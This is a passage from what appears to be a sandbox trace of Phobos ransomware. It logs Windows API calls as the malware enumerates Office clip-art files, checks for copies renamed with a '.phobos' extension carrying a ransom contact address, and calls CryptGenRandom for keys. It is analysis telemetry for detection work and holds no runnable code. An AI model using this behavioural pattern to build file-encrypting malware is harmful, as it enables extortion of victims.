dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.478] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11720) returned 1 [0150.478] CloseHandle (hObject=0x564) returned 1 [0150.478] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf")) returned 0x220 [0150.479] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105912.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105912.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.479] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.479] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.480] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4612) returned 1 [0150.480] CloseHandle (hObject=0x564) returned 1 [0150.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf")) returned 0x220 [0150.480] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.480] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.481] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.481] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.481] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10060) returned 1 [0150.482] CloseHandle (hObject=0x564) returned 1 [0150.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf")) returned 0x220 [0150.482] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.482] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106020.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106020.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.482] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.483] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.483] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5812) returned 1 [0150.483] CloseHandle (hObject=0x564) returned 1 [0150.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf")) returned 0x220 [0150.485] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106124.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106124.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.485] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.485] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.486] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23548) returned 1 [0150.486] CloseHandle (hObject=0x564) returned 1 [0150.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf")) returned 0x220 [0150.486] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106146.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106146.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.489] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.489] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.491] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11900) returned 1 [0150.492] CloseHandle (hObject=0x564) returned 1 [0150.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf")) returned 0x220 [0150.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.492] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106208.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106208.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.493] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.493] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.493] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=19600) returned 1 [0150.494] CloseHandle (hObject=0x564) returned 1 [0150.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf")) returned 0x220 [0150.494] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.494] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106222.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106222.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.495] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.495] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.686] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2148) returned 1 [0150.686] CloseHandle (hObject=0x564) returned 1 [0150.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf")) returned 0x220 [0150.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0106572.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0106572.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.687] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.687] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.688] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5868) returned 1 [0150.688] CloseHandle (hObject=0x564) returned 1 [0150.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf")) returned 0x220 [0150.688] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107266.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107266.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.688] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.688] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.689] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11108) returned 1 [0150.689] CloseHandle (hObject=0x564) returned 1 [0150.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf")) returned 0x220 [0150.689] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107280.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107280.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.689] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.690] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=14132) returned 1 [0150.690] CloseHandle (hObject=0x564) returned 1 [0150.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf")) returned 0x220 [0150.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107282.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.690] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.691] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=13436) returned 1 [0150.691] CloseHandle (hObject=0x564) returned 1 [0150.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf")) returned 0x220 [0150.691] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.691] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.691] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.692] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=12308) returned 1 [0150.692] CloseHandle (hObject=0x564) returned 1 [0150.692] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf")) returned 0x220 [0150.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107290.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107290.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.693] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.693] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.693] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=2460) returned 1 [0150.693] CloseHandle (hObject=0x564) returned 1 [0150.693] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf")) returned 0x220 [0150.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107300.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107300.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.694] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.694] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4136) returned 1 [0150.694] CloseHandle (hObject=0x564) returned 1 [0150.694] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf")) returned 0x220 [0150.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107302.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.695] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.695] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15888) returned 1 [0150.695] CloseHandle (hObject=0x564) returned 1 [0150.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf")) returned 0x220 [0150.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107308.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107308.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.696] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.696] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.697] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10852) returned 1 [0150.697] CloseHandle (hObject=0x564) returned 1 [0150.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf")) returned 0x220 [0150.697] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107314.WMF" (normalized: "c:\\program 